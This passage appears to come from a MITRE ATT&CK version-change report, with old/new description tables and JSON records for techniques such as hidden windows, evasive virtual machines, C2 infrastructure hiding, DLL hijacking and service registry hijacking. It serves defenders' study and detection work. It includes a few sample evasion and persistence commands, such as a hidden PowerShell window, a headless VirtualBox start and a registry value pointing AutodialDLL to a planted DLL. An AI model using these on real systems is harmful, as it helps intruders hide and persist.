| > | ava applications to prevent the application's icon from appe | > | ava applications to prevent the application's icon from appe | ||
| > | aring in the Dock. A common use for this is when application | > | aring in the Dock. A common use for this is when application | ||
| > | s run in the system tray, but don't also want to show up in | > | s run in the system tray, but don't also want to show up in | ||
| > | the Dock. Similarly, on Windows there are a variety of feat | > | the Dock. Similarly, on Windows there are a variety of feat | ||
| > | ures in scripting languages, such as [PowerShell](https://at | > | ures in scripting languages, such as [PowerShell](https://at | ||
| > | tack.mitre.org/techniques/T1059/001), Jscript, and [Visual B | > | tack.mitre.org/techniques/T1059/001), Jscript, and [Visual B | ||
| > | asic](https://attack.mitre.org/techniques/T1059/005) to make | > | asic](https://attack.mitre.org/techniques/T1059/005) to make | ||
| > | windows hidden. One example of this is <code>powershell.exe | > | windows hidden. One example of this is <code>powershell.exe | ||
| > | -WindowStyle Hidden</code>.(Citation: PowerShell About 2019 | > | -WindowStyle Hidden</code>.(Citation: PowerShell About 2019 | ||
| > | ) The Windows Registry can also be edited to hide applicati | > | ) The Windows Registry can also be edited to hide applicati | ||
| > | on windows from the current user. For example, by setting th | > | on windows from the current user. For example, by setting th | ||
| > | e `WindowPosition` subkey in the `HKEY_CURRENT_USER\\Console\\ | > | e `WindowPosition` subkey in the `HKEY_CURRENT_USER\\Console\\ | ||
| > | %SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe` | > | %SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe` | ||
| > | Registry key to a maximum value, PowerShell windows will op | > | Registry key to a maximum value, PowerShell windows will op | ||
| > | en off screen and be hidden.(Citation: Cantoris Computing) | > | en off screen and be hidden.(Citation: Cantoris Computing) | ||
| > | In addition, Windows supports the `CreateDesktop()` API that | > | In addition, Windows supports the `CreateDesktop()` API that | ||
| > | can create a hidden desktop window with its own correspondi | > | can create a hidden desktop window with its own correspondi | ||
| > | ng <code>explorer.exe</code> process.(Citation: Hidden VNC)( | > | ng <code>explorer.exe</code> process.(Citation: Hidden VNC)( | ||
| > | Citation: Anatomy of an hVNC Attack) All applications runni | > | Citation: Anatomy of an hVNC Attack) All applications runni | ||
| > | ng on the hidden desktop window, such as a hidden VNC (hVNC) | > | ng on the hidden desktop window, such as a hidden VNC (hVNC) | ||
| > | session,(Citation: Hidden VNC) will be invisible to other d | > | session,(Citation: Hidden VNC) will be invisible to other d | ||
| > | esktops windows. | > | esktops windows. Adversaries may also leverage cmd.exe(Cita | ||
| > | tion: Cybereason - Hidden Malicious Remote Access) as a pare | ||||
| > | nt process, and then utilize a LOLBin, such as DeviceCredent | ||||
| > | ialDeployment.exe,(Citation: LOLBAS Project GitHub Device Cr | ||||
| > | ed Dep)(Citation: SecureList BlueNoroff Device Cred Dev) to | ||||
| > | hide windows. |
-silent, -ignore-reboot), as well as those associated with running a headless (in the background with no UI) virtual instance (ex. VBoxManage startvm $VM --type headless).(Citation: Shadowbunny VM Defense Evasion) Similarly, monitoring command line arguments which suppress notifications may highlight potentially malicious activity (ex. VBoxManage.exe setextradata global GUI/SuppressMessages \\\"all\\\").\\n\\nMonitor for commands which enable hypervisors such as Hyper-V. If virtualization software is installed by the adversary, the Registry may provide detection opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software. \\n\\nBenign usage of virtualization technology is common in enterprise environments, data and events should not be viewed in isolation, but as part of a chain of behavior.\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-Consider monitoring for files and processes associated with running a virtual instance, such as binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring the size of virtual machines running on the system. Adversaries may create virtual images which are smaller than those of typical virtual machines.(Citation: Shadowbunny VM Defense Evasion) Network adapter information may also be helpful in detecting the use of virtual instances.\\n-\\n-Consider monitoring for process command-line arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a silent installation may be especially suspect (ex. -silent, -ignore-reboot), as well as those associated with running a headless (in the background with no UI) virtual instance (ex. VBoxManage startvm $VM --type headless).(Citation: Shadowbunny VM Defense Evasion) Similarly, monitoring command line arguments which suppress notifications may highlight potentially malicious activity (ex. VBoxManage.exe setextradata global GUI/SuppressMessages \\\"all\\\").\\n-\\n-Monitor for commands which enable hypervisors such as Hyper-V. If virtualization software is installed by the adversary, the Registry may provide detection opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software. \\n-\\n-Benign usage of virtualization technology is common in enterprise environments, data and events should not be viewed in isolation, but as part of a chain of behavior.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"ESET MirrorFace 2025\", \"description\": \" Dominik Breitenbacher. (2025, March 18). Operation AkaiRy\\u016b: MirrorFace invites Europe to Expo 2025 and revives ANEL backdoor. Retrieved May 22, 2025.\", \"url\": \"https://www.welivesecurity.com/en/eset-research/operation-akairyu-mirrorface-invites-europe-expo-2025-revives-anel-backdoor/\"}, \"root['external_references'][5]\": {\"source_name\": \"Securonix CronTrap 2024\", \"description\": \"Den Iuzvyk and Tim Peck. (2024, November 4). CRON#TRAP: Emulated Linux Environments as the Latest Tactic in Malware Staging. Retrieved May 22, 2025.\", \"url\": \"https://www.securonix.com/blog/crontrap-emulated-linux-environments-as-the-latest-tactic-in-malware-staging/\"}, \"root['x_mitre_contributors'][3]\": \"Enis Aksu\", \"root['x_mitre_contributors'][4]\": \"Satoshi Kamekawa, ITOCHU Cyber & Intelligence Inc.\", \"root['x_mitre_contributors'][5]\": \"Yusuke Niwa, ITOCHU Cyber & Intelligence Inc.\", \"root['x_mitre_contributors'][6]\": \"Shuhei Sasada, ITOCHU Cyber & Intelligence Inc.\", \"root['x_mitre_contributors'][7]\": \"Jiraput Thamsongkrah\", \"root['x_mitre_contributors'][8]\": \"Purinut Wongwaiwuttiguldej\", \"root['x_mitre_contributors'][9]\": \"Natthawut Saexu\"}}",
"previous_version": "1.2",
"version_change": "1.2 \u2192 1.3",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may carry out malicious operations using a virtu | t | 1 | Adversaries may carry out malicious operations using a virtu |
| > | al instance to avoid detection. A wide variety of virtualiza | > | al instance to avoid detection. A wide variety of virtualiza | ||
| > | tion technologies exist that allow for the emulation of a co | > | tion technologies exist that allow for the emulation of a co | ||
| > | mputer or computing environment. By running malicious code i | > | mputer or computing environment. By running malicious code i | ||
| > | nside of a virtual instance, adversaries can hide artifacts | > | nside of a virtual instance, adversaries can hide artifacts | ||
| > | associated with their behavior from security tools that are | > | associated with their behavior from security tools that are | ||
| > | unable to monitor activity inside the virtual instance.(Cita | > | unable to monitor activity inside the virtual instance.(Cita | ||
| > | tion: CyberCX Akira Ransomware) Additionally, depending on t | > | tion: CyberCX Akira Ransomware) Additionally, depending on t | ||
| > | he virtual networking implementation (ex: bridged adapter), | > | he virtual networking implementation (ex: bridged adapter), | ||
| > | network traffic generated by the virtual instance can be dif | > | network traffic generated by the virtual instance can be dif | ||
| > | ficult to trace back to the compromised host as the IP addre | > | ficult to trace back to the compromised host as the IP addre | ||
| > | ss and hostname might not match known values.(Citation: Sing | > | ss and hostname might not match known values.(Citation: Sing | ||
| > | Health Breach Jan 2019) Adversaries may utilize native supp | > | Health Breach Jan 2019) Adversaries may utilize native supp | ||
| > | ort for virtualization (ex: Hyper-V) or drop the necessary f | > | ort for virtualization (ex: Hyper-V), deploy lightweight emu | ||
| > | iles to run a virtual instance (ex: VirtualBox binaries). Af | > | lators (ex: QEMU), or drop the necessary files to run a virt | ||
| > | ter running a virtual instance, adversaries may create a sha | > | ual instance (ex: VirtualBox binaries).(Citation: Securonix | ||
| > | red folder between the guest and host with permissions that | > | CronTrap 2024) After running a virtual instance, adversaries | ||
| > | enable the virtual instance to interact with the host file s | > | may create a shared folder between the guest and host with | ||
| > | ystem.(Citation: Sophos Ragnar May 2020) In VMWare environm | > | permissions that enable the virtual instance to interact wit | ||
| > | ents, adversaries may leverage the vCenter console to create | > | h the host file system.(Citation: Sophos Ragnar May 2020) T | ||
| > | new virtual machines. However, they may also create virtual | > | hreat actors may also leverage temporary virtualized environ | ||
| > | machines directly on ESXi servers by running a valid `.vmx` | > | ments such as the Windows Sandbox, which supports the use of | ||
| > | file with the `/bin/vmx` utility. Adding this command to `/ | > | `.wsb` configuration files for defining execution parameter | ||
| > | etc/rc.local.d/local.sh` (i.e., [RC Scripts](https://attack. | > | s. For example, the `<MappedFolder>` property supports the c | ||
| > | mitre.org/techniques/T1037/004)) will cause the VM to persis | > | reation of a shared folder, while the `<LogonCommand>` prope | ||
| > | tently restart.(Citation: vNinja Rogue VMs 2024) Creating a | > | rty allows the specification of a payload.(Citation: ESET Mi | ||
| > | VM this way prevents it from appearing in the vCenter consol | > | rrorFace 2025) In VMWare environments, adversaries may leve | ||
| > | e or in the output to the `vim-cmd vmsvc/getallvms` command | > | rage the vCenter console to create new virtual machines. How | ||
| > | on the ESXi server, thereby hiding it from typical administr | > | ever, they may also create virtual machines directly on ESXi | ||
| > | ative activities.(Citation: MITRE VMware Abuse 2024) | > | servers by running a valid `.vmx` file with the `/bin/vmx` | ||
| > | utility. Adding this command to `/etc/rc.local.d/local.sh` ( | ||||
| > | i.e., [RC Scripts](https://attack.mitre.org/techniques/T1037 | ||||
| > | /004)) will cause the VM to persistently restart.(Citation: | ||||
| > | vNinja Rogue VMs 2024) Creating a VM this way prevents it fr | ||||
| > | om appearing in the vCenter console or in the output to the | ||||
| > | `vim-cmd vmsvc/getallvms` command on the ESXi server, thereb | ||||
| > | y hiding it from typical administrative activities.(Citation | ||||
| > | : MITRE VMware Abuse 2024) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may manipulate network traffic in order to hide | t | 1 | Adversaries may manipulate network traffic in order to hide |
| > | and evade detection of their C2 infrastructure. This can be | > | and evade detection of their C2 infrastructure. This can be | ||
| > | accomplished in various ways including by identifying and fi | > | accomplished by identifying and filtering traffic from defen | ||
| > | ltering traffic from defensive tools,(Citation: TA571) maski | > | sive tools,(Citation: TA571) masking malicious domains to ob | ||
| > | ng malicious domains to obfuscate the true destination from | > | fuscate the true destination from both automated scanning to | ||
| > | both automated scanning tools and security researchers,(Cita | > | ols and security researchers,(Citation: Schema-abuse)(Citati | ||
| > | tion: Schema-abuse)(Citation: Facad1ng)(Citation: Browser-up | > | on: Facad1ng)(Citation: Browser-updates) and otherwise hidin | ||
| > | dates) and otherwise hiding malicious artifacts to delay dis | > | g malicious artifacts to delay discovery and prolong the eff | ||
| > | covery and prolong the effectiveness of adversary infrastruc | > | ectiveness of adversary infrastructure that could otherwise | ||
| > | ture that could otherwise be identified, blocked, or taken d | > | be identified, blocked, or taken down entirely. C2 networks | ||
| > | own entirely. C2 networks may include the use of [Proxy](ht | > | may include the use of [Proxy](https://attack.mitre.org/tec | ||
| > | tps://attack.mitre.org/techniques/T1090) or VPNs to disguise | > | hniques/T1090) or VPNs to disguise IP addresses, which can a | ||
| > | IP addresses, which can allow adversaries to blend in with | > | llow adversaries to blend in with normal network traffic and | ||
| > | normal network traffic and bypass conditional access policie | > | bypass conditional access policies or anti-abuse protection | ||
| > | s or anti-abuse protections. For example, an adversary may u | > | s. For example, an adversary may use a virtual private cloud | ||
| > | se a virtual private cloud to spoof their IP address to clos | > | to spoof their IP address to closer align with a victim's I | ||
| > | er align with a victim's IP address ranges. This may also by | > | P address ranges. This may also bypass security measures rel | ||
| > | pass security measures relying on geolocation of the source | > | ying on geolocation of the source IP address.(Citation: sysd | ||
| > | IP address.(Citation: sysdig)(Citation: Orange Residential P | > | ig)(Citation: Orange Residential Proxies) Adversaries may a | ||
| > | roxies) Adversaries may also attempt to filter network traf | > | lso attempt to filter network traffic in order to evade defe | ||
| > | fic in order to evade defensive tools in numerous ways, incl | > | nsive tools in numerous ways, including blocking/redirecting | ||
| > | uding blocking/redirecting common incident responder or secu | > | common incident responder or security appliance user agents | ||
| > | rity appliance user agents.(Citation: mod_rewrite)(Citation: | > | .(Citation: mod_rewrite)(Citation: SocGholish-update) Filter | ||
| > | SocGholish-update) Filtering traffic based on IP and geo-fe | > | ing traffic based on IP and geo-fencing may also avoid autom | ||
| > | ncing may also avoid automated sandboxing or researcher acti | > | ated sandboxing or researcher activity (i.e., [Virtualizatio | ||
| > | vity (i.e., [Virtualization/Sandbox Evasion](https://attack. | > | n/Sandbox Evasion](https://attack.mitre.org/techniques/T1497 | ||
| > | mitre.org/techniques/T1497)).(Citation: TA571)(Citation: mod | > | )).(Citation: TA571)(Citation: mod_rewrite) Hiding C2 infra | ||
| > | _rewrite) Hiding C2 infrastructure may also be supported by | > | structure may also be supported by [Resource Development](ht | ||
| > | [Resource Development](https://attack.mitre.org/tactics/TA0 | > | tps://attack.mitre.org/tactics/TA0042) activities such as [A | ||
| > | 042) activities such as [Acquire Infrastructure](https://att | > | cquire Infrastructure](https://attack.mitre.org/techniques/T | ||
| > | ack.mitre.org/techniques/T1583) and [Compromise Infrastructu | > | 1583) and [Compromise Infrastructure](https://attack.mitre.o | ||
| > | re](https://attack.mitre.org/techniques/T1584). For example, | > | rg/techniques/T1584). For example, using widely trusted host | ||
| > | using widely trusted hosting services or domains such as pr | > | ing services or domains such as prominent URL shortening pro | ||
| > | ominent URL shortening providers or marketing services for C | > | viders or marketing services for C2 networks may enable adve | ||
| > | 2 networks may enable adversaries to present benign content | > | rsaries to present benign content that later redirects victi | ||
| > | that later redirects victims to malicious web pages or infra | > | ms to malicious web pages or infrastructure once specific co | ||
| > | structure once specific conditions are met.(Citation: StarBl | > | nditions are met.(Citation: StarBlizzard)(Citation: QR-cofen | ||
| > | izzard)(Citation: QR-cofense) | > | se) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse dynamic-link library files (DLLs) in o | t | 1 | Adversaries may abuse dynamic-link library files (DLLs) in o |
| > | rder to achieve persistence, escalate privileges, and evade | > | rder to achieve persistence, escalate privileges, and evade | ||
| > | defenses. DLLs are libraries that contain code and data that | > | defenses. DLLs are libraries that contain code and data that | ||
| > | can be simultaneously utilized by multiple programs. While | > | can be simultaneously utilized by multiple programs. While | ||
| > | DLLs are not malicious by nature, they can be abused through | > | DLLs are not malicious by nature, they can be abused through | ||
| > | mechanisms such as side-loading, hijacking search order, an | > | mechanisms such as side-loading, hijacking search order, an | ||
| > | d phantom DLL hijacking.(Citation: unit 42) Specific ways D | > | d phantom DLL hijacking.(Citation: unit 42) Specific ways D | ||
| > | LLs are abused by adversaries include: ### DLL Sideloading | > | LLs are abused by adversaries include: ### DLL Sideloading | ||
| > | Adversaries may execute their own malicious payloads by side | > | Adversaries may execute their own malicious payloads by side | ||
| > | -loading DLLs. Side-loading involves hijacking which DLL a p | > | -loading DLLs. Side-loading involves hijacking which DLL a p | ||
| > | rogram loads by planting and then invoking a legitimate appl | > | rogram loads by planting and then invoking a legitimate appl | ||
| > | ication that executes their payload(s). Side-loading positi | > | ication that executes their payload(s). Side-loading positi | ||
| > | ons both the victim application and malicious payload(s) alo | > | ons both the victim application and malicious payload(s) alo | ||
| > | ngside each other. Adversaries likely use side-loading as a | > | ngside each other. Adversaries likely use side-loading as a | ||
| > | means of masking actions they perform under a legitimate, tr | > | means of masking actions they perform under a legitimate, tr | ||
| > | usted, and potentially elevated system or software process. | > | usted, and potentially elevated system or software process. | ||
| > | Benign executables used to side-load payloads may not be fla | > | Benign executables used to side-load payloads may not be fla | ||
| > | gged during delivery and/or execution. Adversary payloads ma | > | gged during delivery and/or execution. Adversary payloads ma | ||
| > | y also be encrypted/packed or otherwise obfuscated until loa | > | y also be encrypted/packed or otherwise obfuscated until loa | ||
| > | ded into the memory of the trusted process. Adversaries may | > | ded into the memory of the trusted process. Adversaries may | ||
| > | also side-load other packages, such as BPLs (Borland Packag | > | also side-load other packages, such as BPLs (Borland Packag | ||
| > | e Library).(Citation: kroll bpl) ### DLL Search Order Hijac | > | e Library).(Citation: kroll bpl) Adversaries may chain DLL | ||
| > | king Adversaries may execute their own malicious payloads by | > | sideloading multiple times to fragment functionality hinderi | ||
| > | hijacking the search order that Windows uses to load DLLs. | > | ng analysis. Adversaries using multiple DLL files can split | ||
| > | This search order is a sequence of special and standard sear | > | the loader functions across different DLLs, with a main DLL | ||
| > | ch locations that a program checks when loading a DLL. An ad | > | loading the separated export functions. (Citation: Virus Bul | ||
| > | versary can plant a trojan DLL in a directory that will be p | > | letin) Spreading loader functions across multiple DLLs makes | ||
| > | rioritized by the DLL search order over the location of a le | > | analysis harder, since all files must be collected to fully | ||
| > | gitimate library. This will cause Windows to load the malici | > | understand the malware\u2019s behavior. Another method implemen | ||
| > | ous DLL when it is called for by the victim program.(Citatio | > | ts a \u201cloader-for-a-loader\u201d, where a malicious DLL\u2019s sole rol | ||
| > | n: unit 42) ### DLL Redirection Adversaries may directly mo | > | e is to load a second DLL (or a chain of DLLs) that contain | ||
| > | dify the search order via DLL redirection, which after being | > | the real payload. (Citation: Sophos) ### DLL Search Order H | ||
| > | enabled (in the Registry or via the creation of a redirecti | > | ijacking Adversaries may execute their own malicious payload | ||
| > | on file) may cause a program to load a DLL from a different | > | s by hijacking the search order that Windows uses to load DL | ||
| > | location.(Citation: Microsoft redirection)(Citation: Microso | > | Ls. This search order is a sequence of special and standard | ||
| > | ft - manifests/assembly) ### Phantom DLL Hijacking Adversar | > | search locations that a program checks when loading a DLL. A | ||
| > | ies may leverage phantom DLL hijacking by targeting referenc | > | n adversary can plant a trojan DLL in a directory that will | ||
| > | es to non-existent DLL files. They may be able to load their | > | be prioritized by the DLL search order over the location of | ||
| > | own malicious DLL by planting it with the correct name in t | > | a legitimate library. This will cause Windows to load the ma | ||
| > | he location of the missing module.(Citation: Hexacorn DLL Hi | > | licious DLL when it is called for by the victim program.(Cit | ||
| > | jacking)(Citation: Hijack DLLs CrowdStrike) ### DLL Substit | > | ation: unit 42) ### DLL Redirection Adversaries may directl | ||
| > | ution Adversaries may target existing, valid DLL files and s | > | y modify the search order via DLL redirection, which after b | ||
| > | ubstitute them with their own malicious DLLs, planting them | > | eing enabled (in the Registry or via the creation of a redir | ||
| > | with the same name and in the same location as the valid DLL | > | ection file) may cause a program to load a DLL from a differ | ||
| > | file.(Citation: Wietze Beukema DLL Hijacking) Programs tha | > | ent location.(Citation: Microsoft redirection)(Citation: Mic | ||
| > | t fall victim to DLL hijacking may appear to behave normally | > | rosoft - manifests/assembly) ### Phantom DLL Hijacking Adve | ||
| > | because malicious DLLs may be configured to also load the l | > | rsaries may leverage phantom DLL hijacking by targeting refe | ||
| > | egitimate DLLs they were meant to replace, evading defenses. | > | rences to non-existent DLL files. They may be able to load t | ||
| > | Remote DLL hijacking can occur when a program sets its cur | > | heir own malicious DLL by planting it with the correct name | ||
| > | rent directory to a remote location, such as a Web share, be | > | in the location of the missing module.(Citation: Hexacorn DL | ||
| > | fore loading a DLL.(Citation: dll pre load owasp)(Citation: | > | L Hijacking)(Citation: Hijack DLLs CrowdStrike) ### DLL Sub | ||
| > | microsoft remote preloading) If a valid DLL is configured t | > | stitution Adversaries may target existing, valid DLL files a | ||
| > | o run at a higher privilege level, then the adversary-contro | > | nd substitute them with their own malicious DLLs, planting t | ||
| > | lled DLL that is loaded will also be executed at the higher | > | hem with the same name and in the same location as the valid | ||
| > | level. In this case, the technique could be used for privile | > | DLL file.(Citation: Wietze Beukema DLL Hijacking) Programs | ||
| > | ge escalation. | > | that fall victim to DLL hijacking may appear to behave norm | ||
| > | ally because malicious DLLs may be configured to also load t | ||||
| > | he legitimate DLLs they were meant to replace, evading defen | ||||
| > | ses. Remote DLL hijacking can occur when a program sets its | ||||
| > | current directory to a remote location, such as a Web share | ||||
| > | , before loading a DLL.(Citation: dll pre load owasp)(Citati | ||||
| > | on: microsoft remote preloading) If a valid DLL is configur | ||||
| > | ed to run at a higher privilege level, then the adversary-co | ||||
| > | ntrolled DLL that is loaded will also be executed at the hig | ||||
| > | her level. In this case, the technique could be used for pri | ||||
| > | vilege escalation. |
HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service\u2019s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\n\nThe Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\n\nAdversaries may also add the Parameters key, which can reference malicious drivers file paths. This technique has been identified to be a method of abuse by configuring DLL file paths within the Parameters key of a given services registry configuration. By placing and configuring the Parameters key to reference a malicious DLL, adversaries can ensure that their code is loaded persistently whenever the associated service or library is invoked.\n\nFor example, the registry path(Citation: MDSec) HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parameters(Citation: hexacorn)(Citation: gendigital) contains the AutodiaDLL value, which specifies the DLL to be loaded for autodial funcitionality. An adversary could set the AutodiaDLL to point to a hijacked or malicious DLL:\n\n\"AutodialDLL\"=\"c:\\temp\\foo.dll\"\n\nThis ensures persistence, as it causes the DLL (in this case, foo.dll) to be loaded each time the Winsock 2 library is invoked.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1574/011",
"external_id": "T1574.011"
},
{
"source_name": "Tweet Registry Perms Weakness",
"description": "@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved September 12, 2024.",
"url": "https://x.com/r0wdy_/status/936365549553991680"
},
{
"source_name": "insecure_reg_perms",
"description": "Cl\u00e9ment Labro. (2020, November 12). Windows RpcEptMapper Service Insecure Registry Permissions EoP. Retrieved August 25, 2021.",
"url": "https://itm4n.github.io/windows-registry-rpceptmapper-eop/"
},
{
"source_name": "hexacorn",
"description": "hexacorn. (2015, January 13). Beyond good ol\u2019 Run key, Part 24. Retrieved September 25, 2025.",
"url": "https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/"
},
{
"source_name": "Kansa Service related collectors",
"description": "Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019.",
"url": "https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html"
},
{
"source_name": "malware_hides_service",
"description": "Lawrence Abrams. (2004, September 10). How Malware hides and is installed as a Service. Retrieved August 30, 2021.",
"url": "https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/"
},
{
"source_name": "Autoruns for Windows",
"description": "Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020.",
"url": "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns"
},
{
"source_name": "MDSec",
"description": "MDSec. (n.d.). Autodial(DLL)ing Your Way. Retrieved September 25, 2025.",
"url": "https://www.mdsec.co.uk/2022/10/autodialdlling-your-way/"
},
{
"source_name": "Registry Key Security",
"description": "Microsoft. (2018, May 31). Registry Key Security and Access Rights. Retrieved March 16, 2017.",
"url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN"
},
{
"source_name": "microsoft_services_registry_tree",
"description": "Microsoft. (2021, August 5). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved August 25, 2021.",
"url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree"
},
{
"source_name": "gendigital",
"description": "Threat Research Team. (2022, March 22). Operation Dragon Castling: APT group targeting betting companies. Retrieved September 25, 2025.",
"url": "https://www.gendigital.com/blog/insights/research/operation-dragon-castling-apt-group-targeting-betting-companies"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Travis Smith, Tripwire",
"Matthew Demaske, Adaptforward",
"Joe Gumke, U.S. Bank"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Modification\", \"Service: Service Modification\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:27.075000+00:00\", \"old_value\": \"2025-04-15 19:58:09.308000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Flaws in the permissions for Registry keys related to services can allow adversaries to redirect the originally specified executable to one they control, launching their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\\n\\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\\n\\nAdversaries may also alter other Registry keys in the service\\u2019s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\\n\\nThe Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service\\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\\n\\nAdversaries may also add the Parameters key, which can reference malicious drivers file paths. This technique has been identified to be a method of abuse by configuring DLL file paths within the Parameters key of a given services registry configuration. By placing and configuring the Parameters key to reference a malicious DLL, adversaries can ensure that their code is loaded persistently whenever the associated service or library is invoked.\\n\\nFor example, the registry path(Citation: MDSec) HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\WinSock2\\\\Parameters(Citation: hexacorn)(Citation: gendigital) contains the AutodiaDLL value, which specifies the DLL to be loaded for autodial funcitionality. An adversary could set the AutodiaDLL to point to a hijacked or malicious DLL:\\n\\n\\\"AutodialDLL\\\"=\\\"c:\\\\temp\\\\foo.dll\\\"\\n\\nThis ensures persistence, as it causes the DLL (in this case, foo.dll) to be loaded each time the Winsock 2 library is invoked.\", \"old_value\": \"Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\\n\\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\\n\\nAdversaries may also alter other Registry keys in the service\\u2019s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\\n\\nThe Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service\\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\\n\\nAdversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service\\u2019s file may be identified using HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\servicename\\\\Parameters\\\\ServiceDll.(Citation: malware_hides_service)\", \"diff\": 